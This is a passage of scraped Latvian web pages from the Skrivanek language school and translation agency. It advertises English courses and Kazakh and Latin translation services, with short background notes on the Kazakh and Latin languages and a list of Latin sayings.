VAIRĀK PAR VALODU KURSIEM VARAT valodumacibas. lv ANGĻU VALODA BIZNESĀ Angļu valodas kursu loma jūsu biznesa attīstībā var būt neatsverama, jo tā ir dominējošā biznesa valoda – statistika un pētījumi liecina, ka, veidojot darba un biznesa attiecības starptautiskā līmenī, no jums tiek sagaidītas angļu valodas prasmes. Tādas globālas kompānijas kā Airbus, Daimler-Chrysler, Fast Retailing, Nokia, Renault, Samsung, SAP, Microsoft ir pilnvarojušas angļu valodu kā savu oficiālo korporatīvo valodu, savukārt Japānas mazumtirdzniecības uzņēmums Rakuten jau no 2010. gada noteicis, ka darbiniekiem angļu valodas zināšanas ir obligātas. ANGĻU VALODA PAPLAŠINA IZKLAIDES IESPĒJAS Daudzas pasaules populārākās filmas, grāmatas un mūzika tiek izdotas un producētas angļu valodā, tāpēc, mācoties šo valodu, jums būs pieejama neizsmeļama kultūras un izklaides krātuve visdažādākajos žanros un tēmās. Bērniem un jauniešiem jo sevišķi ir aktuāli skatīties multiplikācijas filmas, kino un TV šovus, lasīt grāmatas un medijus, spēlēt datorspēles un sekot līdzi sev interesējošiem interneta blogeriem. Šis arī ir labs veids, kā paralēli mācībām vai kursiem apgūt angļu valodu. ANGĻU VALODAS KURSI PIEAUGUŠAJIEM Angļu valodas kursi ir iespēja apgūt iesācējiem vai uzlabot un nostiprināt valodu cilvēkiem ar priekšzināšanām, kā arī padziļināti mācīties, piemēram, biznesa vai juridisko angļu valodu. Lai izvēlētos sev piemērotākos kursus, savas angļu valodas zināšanas var pārbaudīt, aizpildot testu bez maksas. ANGĻU VALODAS KURSI GRUPĀS Angļu valodas kursi grupās pieejami dažādos laikos – darbadienu rītos, dienas vidū, vakarā, kā arī nedēļas nogalē –, palīdzot angļu valodas apguvi ērti integrēt jūsu ikdienā atbilstoši dienas ritmam un grafikam. Kursu metodoloģijas pamatā ir jebkuras valodas apguves stūrakmeņi – runāšana, klausīšanās un lasīšana. Mācību centrs Skrivanek kursus piedāvā apmeklēt biroja telpās Rīgā, pilsētas centrā, kur nepiespiestā gaisotnē, grupas dalībnieki var apskatīt un sarunāties angļu valodā par dažādām tēmām, kā darbs, ģimene, ceļojumi u. c. INDIVIDUĀLIE ANGĻU VALODAS KURSI Ja ir vēlme valodu apgūt intensīvāk un ātrāk, efektīvi ir individuālie angļu valodas kursi, kad visu nodarbības laiku pasniedzējs veltīs uzmanību tikai jums. Valodas gramatika un praktiskā pielietošana, attīstot dialoga veidošanas prasmes, notiek kopā ar pasniedzēju. Skivanek īpašais mācību piedāvājums – apmeklējot individuālos svešvalodas kursus divatā, mācību maksa tiks piemērota tikai par vienu studentu. INTENSĪVIE VALODU KURSI VASARĀ Angļu valodas kursi var kļūt arī par vasaras piedzīvojumu, apgūstot valodu vienu mēnesi intensīvā ritmā – nodarbības notiek darbadienās no pirmdienas līdz ceturtdienai no rītiem vai vakaros. Pārdomāta angļu valodas mācību programma sniegs vai ļaus atgūt pārliecību par savām valodas prasmēm, lai brīvi komunicētu ar citu valstu pārstāvjiem. Skrivanek vasarā piedāvā apgūt angļu valodu un lietišķo angļu valodu, kā arī citas svešvalodas: krievu, vācu, norvēģu, zviedru un spāņu. ANGĻU VALODAS KURSI TIEŠSAISTĒ (ONLINE) Dažkārt daudz ērtāki ir kursi tiešsaistē, jo tā ir iespēja izveidot mācību grafiku atbilstoši savam ikdienas ritmam, kā arī vēlamajai intensitātei. Svešvalodu varēsiet apgūt arī tad, ja šobrīd nevarat apmeklēt mācības klātienē, un apguve nebūs jāpārtrauc pat tad, ja dodaties ceļojumā vai komandējumā. Šīs būs individuālas nodarbības ar pasniedzēju pēc jūsu interesēm un vēlmēm izstrādātas programmas, lai uzlabotu angļu valodas gramatikas zināšanas, rakstīšanas, runāšanas, lasīšanas un klausīšanās prasmes. Mūsdienu tehnoloģijas nodrošina iespēju tikties ar pasniedzēju attālināti sev vēlamā laikā un vietā, nepieciešams tikai dators vai mobilais tālrunis ar interneta pieslēgumu. Nodarbības notiek, izmantojot bezmaksas lietojumprogrammas Microsoft Teams, Skype vai Zoom, kas ļauj veikt video zvanus tiešsaistē. Individuālie angļu valodas kursi pieejami ne tikai ar vietējo pasniedzēju, bet arī ar ārzemju pasniedzēju (native speaker). ANGĻU VALODAS KURSI UZŅĒMUMIEM Skrivanek jau vairāk nekā 25 gadus Latvijā nodrošina arī valodu mācības valsts un pašvaldību iestādēm, uzņēmumiem, korporācijām, īstenojot jebkura apjoma un sarežģītības svešvalodu apguves projektus. NODARBĪBAS MĀCĪBU GRUPĀS UN INDIVIDUĀLI Grupu nodarbības ir lielisks veids, kā uzņēmuma darbinieki ne tikai apgūst angļu valodu, bet arī iepazīst cits citu, socializēšanos apvienojot ar valodas praktizēšanu. Dalībnieki tiek dalīti grupās, ņemot vērā klienta mācību mērķus un Eiropas kopīgās pamatnostādnes valodu apguvei, lai visiem grupas dalībniekiem būtu līdzvērtīgs priekšzināšanu līmenis. Mācības veidotas atbilstoši uzņēmuma vajadzībām – reālām svešvalodas lietojuma situācijām. Ja atsevišķam darbiniekam nepieciešams īsā laikā apgūt vai uzlabot savas angļu valodas zināšanas, tad efektīvākais risinājums būs individuālas nodarbības, kuras pasniedzējs pielāgo konkrētajam studentam. NOZAREI PIELĀGOTI ANGĻU VALODAS KURSI Gadījumos, kad darbiniekiem bieži jārunā sanāksmēs un konferencēs, jādodas vizītēs pie biznesa partneriem ārvalstīs, jāprezentē uzņēmums angļu valodā, turklāt nepieciešams pārzināt specializētu terminoloģiju, piemēram, finanšu, banku, ekonomikas, apdrošināšanas, medicīnas, jurisprudences, mārketinga, enerģētikas, loģistikas, mašīnbūves jomā, piemērotas būs specializētās svešvalodu nodarbības un semināri. Šīs mācību grupas izstrādātas dažāda apjoma un profila dažādu nozaru speciālistu vajadzībām, lai koncentrētos uz valodas apguvi kā panākumu atslēgu karjerā un uzņēmējdarbībā. Skrivanek piedāvā angļu valodas mācību grupas, kas koncentrējas uz valodas apguvi tūrisma, personāla atlases un mārketinga speciālistiem, lietišķo angļu valodu dažāda līmeņa uzņēmuma vadītājiem u. c. , taču iespējams arī sagatavot īpaši jūsu vajadzībām pielāgotu mācību programmu. ANGĻU VALODAS KURSI BĒRNIEM UN JAUNIEŠIEM Skrivanek mācību centrā ir iespēja apgūt angļu valodu arī bērniem un jauniešiem Rīgā. Kursu programmas izveidotas un pielāgotas dažādām vecuma grupām, ņemot vērā gan zināšanu līmeni, gan to, ka kursi ir socializēšanās iespēja, kur iepazīties un pavadīt kopā laiku ar vienaudžiem. Pieejamas divas grupas pirmsskolas vecuma bērniem, grupa sākumskolas un pamatskolas vecuma bērniem, kā arī jauniešiem, bet 9. un 12. klašu skolēniem iespējams apmeklēt īpašus individuālos sagatavošanās kursus angļu valodas eksāmenam. DIENAS NOMETNES VASARĀ Svešvalodu nometne ir iespēja interesanti pavadīt brīvo laiku, iegūstot jaunas noderīgas prasmes un zināšanas. Skolas brīvlaikā (rudens vai pavasara brīvdienās) notiek nedēļu ilgas dienas nometnes, kur pasniedzējs apvieno aktīvo atpūtu un izglītojošas spēles un aktivitātes, lai bērni apgūtu angļu valodu ar rotaļu un piedzīvojumu palīdzību. Bērnu un jauniešu dienas nometnes notiek arī vasarās, lai jauni draugi un iespaidi un interesanti pavadīts laiks tiktu apvienots ar skolā apgūto angļu valodas zināšanu nostiprināšanu un attīstīšanu. SKRIVANEK PIEEJA SVEŠVALODAS APGUVEI Skrivanek svarīgi nodrošināt labāko iespējamo atbalstu svešvalodu apguvei, tāpēc mācību centrs izstrādājis inovatīvas mācību metodes, kuras nepārtraukti attīsta un pilnveido. Mūsu darbības pamatā ir: atbildība, rūpējoties par jūsu, jūsu bērnu un uzņēmuma panākumiem valodas apguvē; savstarpējs dialogs, ieklausoties klienta vajadzībās un kopā meklējot piemērotāko risinājumu; izaicinājums, sakot "Jā! " jauniem, nestandarta un šķietami neiespējamiem projektiem. Mūsu pasniedzēji tiek rūpīgi atlasīti, izvērtējot ne tikai valodas, bet arī pedagoģijas prasmes darbā ar pieaugušajiem, bet jo īpaši, saskarsmē ar bērniem un jauniešiem. EFFECTO METODE EFEKTĪVĀKAI SVEŠVALODAS APGUVEI Mēs strādājam ar unikālu metodi labākai svešvalodas apguvei – EFFECTO –, kas ir patentēta un izstrādāta Skrivanek Holding SE grupas valodu skolām visā pasaulē. Šī metode ievērojami palielina valodas apguves efektivitāti, padarot mācību procesu interesantu. EFFECTO pamatā ir apgūstamās valodas izmantošana praktiskās situācijās, nevis pildot uzdevumus mācību burtnīcās, bet akcentu liekot uz aktīvo valodas prasmju – runāšanas un rakstīšanas – attīstīšanu. Mācībās aktīvi iesaistās visi dalībnieki, un nodarbībās galvenokārt runā studenti, nevis pasniedzējs. Lai svešvalodas apguves process būtu aizraujošs, kursu plāni un temati izstrādāti, ņemot vērā konkrētās dalībnieku grupas intereses un vajadzības. Mācībās tiek izmantoti dažādi uzdevumi, spēles, mīklas un citas aktivitātes. Radošie uzdevumi attīsta studentu spēju spontāni lietot svešvalodu dažādās ikdienas situācijās. --- > Tulkošanas birojs Skrivanek nodrošina dažādu dokumentu un pasākumu tulkošanu kazahu valodā . Saņemiet cenas aprēķinu 30 minūtēs! - Published: 2022-10-21 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-kazahu-valoda/ - Translation Priorities: Optional TULKOJUMI KAZAHU VALODĀ / TULKOT KAZAHU VALODĀ CIK MAKSĀ TULKOŠANA KAZAHU VALODĀ? Tulkošanas birojā Skrivanek katra tulkojuma cena no/uz kazahu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz kazahu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Mūsu birojā strādā profesionāli tulkošanas projektu vadītāji, kuri vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai precizētu tulkojumu izmaksas, sazinieties ar mums vai nosūtiet tulkojamo tekstu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KAZAHU VALODĀ: dažādu dokumentu tulkošana kazahu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; kazahu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi kazahu valodā; individuālie kazahu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus kazahu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI KAZAHU VALODĀ / TULKOT KAZAHU VALODĀ CIK MAKSĀ TULKOŠANA KAZAHU VALODĀ? Tulkošanas birojā Skrivanek katra tulkojuma cena no/uz kazahu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz kazahu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Mūsu birojā strādā profesionāli tulkošanas projektu vadītāji, kuri vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai precizētu tulkojumu izmaksas, sazinieties ar mums vai nosūtiet tulkojamo tekstu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KAZAHU VALODĀ: dažādu dokumentu tulkošana kazahu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; kazahu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi kazahu valodā; individuālie kazahu valodas kursi. Meklējiet valodu risinājumus kazahu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt KAZAHU VALODA – BRĪVO KLEJOTĀJU VALODA Vārdam "kazahs" ir skaista etimoloģija. Vieni uzskata, ka tas radies no turku valodas vārda qaz ar nozīmi 'brīvs, neatkarīgs' un 'klaiņotājs', citi to saista ar seno turku valodu, norādot uz qazğaq ('kazahs') un qazğan ('iegūt, sasniegt') kopīgo sakni, tāpēc kazahi simboliski tiek saistīti ar ceļiniekiem – kas klejo un meklē no jauna. Aicinām kopā ar Skrivanek doties nelielā ceļojumā pa kazahu valodas takām. ĪSUMĀ PAR KAZAHU VALODU Kazahu valoda pieder pie altajiešu valodu saimes tjurku valodu grupas un ir radnieciska nogajiešu, karakalpaku un kirgīzu valodām. Literārā valoda izveidota uz ziemeļaustrumu (Omskas) dialekta pamatiem, bet joprojām vērojami arī dienvidkazahu un rietumkazahu dialekti. ĢEOGRĀFISKĀ IZPLATĪBA Saskaņā ar WorldData informāciju, kazahu valodā runā apmēram 14 miljoni cilvēku. Tā ir oficiālā valoda Kazahstānā, bet tikai apmēram 64% no 18 miljoniem valsts iedzīvotāju runā kazahu valodā, jo kopš Padomju Savienības laika valstī joprojām spēcīgi dominē krievu valoda. Kazahu valoda ir dzimtā valoda arī daļai iedzīvotāju Mongolijā (5,9% no Mongolijas iedzīvotājiem), Uzbekistānā (3,2%), Turkmenistānā (2%) un Krievijā (0,4%), bet tāpat tajā tiek runāts arī Siņdzjanas reģionā Ķīnā, Afganistānā, Kirgizstānā, Tadžikistānā, Turcijā, Ukrainā, Vācijā u. c. , kur dažādos laikos emigrējuši etniskie kazahu valodas lietotāji. KAZAHU VALODAS ALFABĒTS Parasti kazahu valodas vēsture tiek skatīta divos periodos: 1) pirms nacionālās valodas veidošanās (no 19. gs. otrās puses); 2) nacionālās valodas veidošanās, kas iedalās posmā pirms PSRS komunistiskās represijas (1912–1929) un pēc valsts pievienošanas Padomju Savienībai (1930–1988). Līdz 20. gs. kazahu valodā rakstīja, izmantojot arābu rakstību, pēc 1917/ gada Krievijas revolūcijas kazahu valodas lietotāji pārgāja uz latīņu alfabētu, bet drīz vien – uz kirilicas rakstību. 2017. gadā tā brīža Kazahstānas prezidents Nursultans Nazarbajevs paziņoja, ka tuvāko gadu laikā kazahu valodā plānots pakāpeniski atkal pāriet uz latīņu alfabētu, lēmumu skaidrojot ar vēlmi atbrīvoties no Padomju Savienības komunistiskā režīmā uzspiestās kirilicas. Pašlaik pilnīgu pāreju no kirilicas uz latīņu alfabētu iecerēts īstenot līdz 2031. gadam. SKAŅU SISTĒMA KAZAHU VALODĀ Kazahu valodā ir 9 patskaņi un 3 diftongi jeb divskaņi, kuru garums maina vārda nozīmi. Tāpat kā citām tjurku valodām, kazahu valodai raksturīga patskaņu harmonija, kas ietekmē līdzskaņu artikulāciju starp priekšējo un aizmugurējo pozīciju, un tā ir bagāta ar velāriem un uvulāriem līdzskaņiem. LITERATŪRA KAZAHU VALODĀ Kazahu valoda ir pazīstama ar savu lirisko skaistumu un mutvārdu tradīcijām. Viduslaikos mūsdienu Kazahstānas teritoriju apdzīvoja daudzas turku ciltis, un, balstoties uz viņu mutisko daiļradi, izveidojusies vienota folkloras tradīcija. Mūsdienu Kazahstānas teritorijā izveidojušies pazīstamākie senie eposi tjurku valodās. Līdzīgi kā latviešu valodā tautas dziesmas, arī kazahu valodā vēsturiski no paaudzes paaudzē tika nodoti poēmām līdzīgi dzejoļi, visbiežāk episkā un mīlas dzeja – stāsti par varoņu drosmi un mīlestību dzejas valodā, atspoguļojot kazahu tautas vēsturi. Par Kazahstānas nacionālo literatūru var runāt no 14. –15. gs. , kazahu tautai atdaloties no Mongoļu impērijas. Kazahu valoda ir poētiska un bagāta metaforām, un literatūrā jau vēsturiski vadošo lomu ieņēmusi dzeja un tās dažādie žanri. Interesanta ir kazahu tradīcija rīkot dzejas un dziesmu sacensības starp akiņiem, kā Vidusāzijas valstīs tiek saukti dziesminieki un dzejnieki. Kazahu literārā valoda nostiprinās un literatūra uzplaukst 20. gs. sākumā, ietekmējoties no Eiropas literatūras. Autori sāk pievērsties līdz tam kazahu valodā maz zināmiem prozas žanriem – romāniem, stāstiem. 1910. gadā Miržakips Dulatovs saraksta darbu "Nelaimīgais Džamals", kas ir pirmais romāns kazahu valodā. Pēc valstiskās neatkarības atgūšanas arī Kazahstānas literatūrā turpinās eksperimentāli mēģinājumi, iedvesmojoties no Rietumu literatūras un adaptējot tās idejas savām tradīcijām. CIK SAREŽĢĪTI IR APGŪT KAZAHU VALODU? ASV Ārlietu dienesta institūts visas pasaules valodas sarindojis pēc to grūtības pakāpes, kur kazahu valoda tiek pieskaitīta 3. kategorijas valodām, kas nozīmē, ka valoda klasificēta kā grūta un tās apgūšanai profesionālam darba līmenim būtu nepieciešamas aptuveni 44 nedēļas (1100 mācību stundas). Tajā pašā laikā šobrīd kazahu valodā izmanto jau lielākoties pasaulē pazīstamo latīņu alfabētu. Vieglāk apgūt kazahu valodu, protams, būtu tiem, kas jau pārvalda kādu no tjurku grupas valodām, piemēram, turku, tatāru, turkmēņu, azerbaidžāņu, uzbeku, jakutu u. c. Lai arī kazahu valoda var būt izaicinoša, kas ir labā ziņa – kazahu gramatika ir konsekventa un pareizrakstība – fonētiska, valodā nav neregulāru darbības vārdu, lietvārdiem nav dzimtes, tāpat nav vairāku deklināciju un konjugāciju sistēmas. KAZAHSTĀNAS BAGĀTAIS KULTŪRAS MANTOJUMS Lai kazahu valodas apguvi padarītu par piedzīvojumu, vislabāk to darīt, esot pašā Kazahstānā, iepazīstot valsts bagāto kultūru un pieredzot viņu dzīvesveidu – sākot ar svinībām un viesmīlību un beidzot ar virtuvi, tautastērpiem un amatniecību. Kazahi lepojas ar savām paražām un tradīcijām, un vēlme ar cieņu izzināt valsts kultūru radīs veiksmīgu mijiedarbību ar vietējiem iedzīvotājiem un ļaus valsti un arī tās valodu piedzīvot autentiskāk. KAZAHU VALODAS DIENA Katru gadu 22. septembrī Kazahstānā tiek svinēti unikāli svētki ─ Kazahstānas tautu valodu diena, kas apvieno vairāk nekā simts valstī dzīvojošo etnisko grupu pārstāvjus. Šie svētki tika noteikti ar Valsts prezidenta 1998. gada 20. janvāra dekrētu par Kazahstānas tautu valodu dienu. Šis datums tika izvēlēts, lai pieminētu 1989. gada 22. septembrī pieņemto Valodu likumu. Svētki ir paredzēti visiem Kazahstānas iedzīvotājiem un to galvenais vadmotīvs ─ ikviena valoda ir visas cilvēces kultūras mantojums, katra kultūra ir unikāla. Kazahstānas tautu valodu diena tiek atzīmēta ar īpašām nodarbībām skolās, koncertiem, valodu konkursiem, diskusijām, konferencēm un citiem valodām veltītiem pasākumiem un aktivitātēm. Šie pasākumi ir paredzēti, lai svinētu valodu daudzveidību un veicinātu savstarpēju sapratni starp Kazahstānas tautām. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KAZAHU VALODĀ: dažādu dokumentu tulkošana kazahu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; kazahu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi kazahu valodā; individuālie kazahu valodas kursi. KAZAHU VALODAS KOMBINĀCIJAS: kazahu–latviešu; latviešu–kazahu; kazahu–lietuviešu; lietuviešu–kazahu; igauņu–kazahu; kazahu–igauņu; angļu–kazahu; kazahu–angļu; krievu–kazahu; kazahu–krievu; poļu–kazahu; kazahu–poļu; ukraiņu–kazahu; kazahu–ukraiņu; čehu–kazahu; kazahu–čehu; vācu–kazahu; kazahu–vācu; spāņu–kazahu; kazahu–spāņu; franču–kazahu; kazahu–franču; itāļu–kazahu; kazahu–itāļu; dāņu–kazahu; kazahu–dāņu; zviedru–kazahu; kazahu–zviedru; norvēģu–kazahu; kazahu–norvēģu; somu–kazahu; kazahu–somu u. c. --- > Tulkojumu birojs Skrivanek piedāvā dažādus latīņu valodas pakalpojumus, tostarp, rakstiskos un mutiskos tulkojumus, valodu kursus u.c. - Published: 2022-10-21 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latinu-valoda/ - Translation Priorities: Optional SKRIVANEK PAKALPOJUMI LATĪŅU VALODĀ / TULKOJUMI LATĪŅU VALODĀ Arī Skrivanek piedāvā tulkojumus un pakalpojumus latīņu valodā. Visbiežāk tie ir rakstiski un mutiski tulkojumi, tostarp medicīnisku un juridisku dokumentu (ar notāra apliecinājumu) tulkojumi. Tāpat pie mums var vērsties, ja nepieciešami tetovējumu teksta vai spārnoto izteicienu tulkojumi latīņu valodā, grafiskā dizaina pakalpojumi (DTP) vai vēlaties apgūt latīņu valodu individuālos kursos. CIK NO ŠIEM 10 SPĀRNOTAJIEM LATĪŅU IZTEICIENIEM ZINĀT? Visticamāk kādā sarunā vai tekstā būsiet sastapies ar kādu no šiem latīņu domugraudiem. Tas tikai apliecina latīņu valodas lomu Rietumu kultūras mantojumā un dzīvo klātesamību joprojām mūsdienās. Non scholae discimus, sed vitae (Ne skolai mācāmies, bet dzīvei). Vivere est cogitare (Dzīvot nozīmē domāt). Per aspera ad astra (Caur ērkšķiem uz zvaigznēm). Quot homines, tot sententiae (Cik cilvēku, tik viedokļu). Festina letene (Steidzies lēnām). Carpe diem / Carpe vinum (Baudi mirkli / Baudi vīnu). Fons vitae caritas (Mīlestība ir dzīvības avots). Pacta sunt servanda (Līgumi ir jāievēro). Quot homines, tot sententiae (Cik cilvēku, tik viedokļu). Ut sementem feceris, ita metes (Kā sēsi, tā pļausi). Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus latīņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt SKRIVANEK PAKALPOJUMI LATĪŅU VALODĀ Arī Skrivanek piedāvā tulkojumus un pakalpojumus latīņu valodā. Visbiežāk tie ir rakstiski un mutiski tulkojumi, tostarp medicīnisku un juridisku dokumentu (ar notāra apliecinājumu) tulkojumi. Tāpat pie mums var vērsties, ja nepieciešami tetovējumu teksta vai spārnoto izteicienu tulkojumi latīņu valodā, grafiskā dizaina pakalpojumi (DTP) vai vēlaties apgūt latīņu valodu individuālos kursos. Meklējiet valodu risinājumus latīņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt CIK NO ŠIEM 10 SPĀRNOTAJIEM LATĪŅU IZTEICIENIEM ZINĀT? Visticamāk kādā sarunā vai tekstā būsiet sastapies ar kādu no šiem latīņu domugraudiem. Tas tikai apliecina latīņu valodas lomu Rietumu kultūras mantojumā un dzīvo klātesamību joprojām mūsdienās. Non scholae discimus, sed vitae (Ne skolai mācāmies, bet dzīvei). Vivere est cogitare (Dzīvot nozīmē domāt). Per aspera ad astra (Caur ērkšķiem uz zvaigznēm). Quot homines, tot sententiae (Cik cilvēku, tik viedokļu). Festina letene (Steidzies lēnām). Carpe diem / Carpe vinum (Baudi mirkli / Baudi vīnu). Fons vitae caritas (Mīlestība ir dzīvības avots). Pacta sunt servanda (Līgumi ir jāievēro). Quot homines, tot sententiae (Cik cilvēku, tik viedokļu). Ut sementem feceris, ita metes (Kā sēsi, tā pļausi). ĪSUMĀ PAR LATĪŅU VALODU Latīņu valoda (lingua latina) ir viena no senākajām rakstos fiksētajām indoeiropiešu saimes valodām, un tai ir būtiska nozīme Eiropas civilizācijas attīstībā. No latīņu valodas, mūsu ēras 6. –9. gs. , izveidojušās visas romāņu valodas – franču, spāņu, itāļu, portugāļu, rumāņu, retoromāņu, provansiešu, sardīniešu, kataloniešu, moldāvu u. c. , kuras pārstāvētas ne tikai Rietumeiropā, bet arī Vidusamerikā un Dienvidamerikā. Mūsdienās romāņu valodās runā pat vairāki simti miljoni cilvēku. LATĪŅU VALODAS VĒSTURE Latīņu valodas saknes meklējamas seno latīņu cilšu apdzīvotajā Latijas teritorijā Apenīnu pussalas vidusdaļā, taču tās vārdu krājums paplašinās un gramatika sistemātiski noformējas līdz ar Romas dibināšanu 753. gadā p. m. ē. un romiešu kultūras nostiprināšanos. Kaut plaši tiek lietota arī grieķu valoda, latīņu valoda kļūst par Senās Romas oficiālo valsts valodu. Pēc tam, kad mūsu ēras 476. gadā Romas valsts beidz pastāvēt, latīņu valodas dialekti atsevišķās Romas provincēs attīstās jaunos virzienos, un no tiem noformējas jau minētās romāņu valodas. Līdz 18. gs. , kad to nomaina franču valoda, latīņu valoda tiek lietota zinātnē un saziņā starp dažādām valstīm gandrīz visā Eiropā; pēc tam 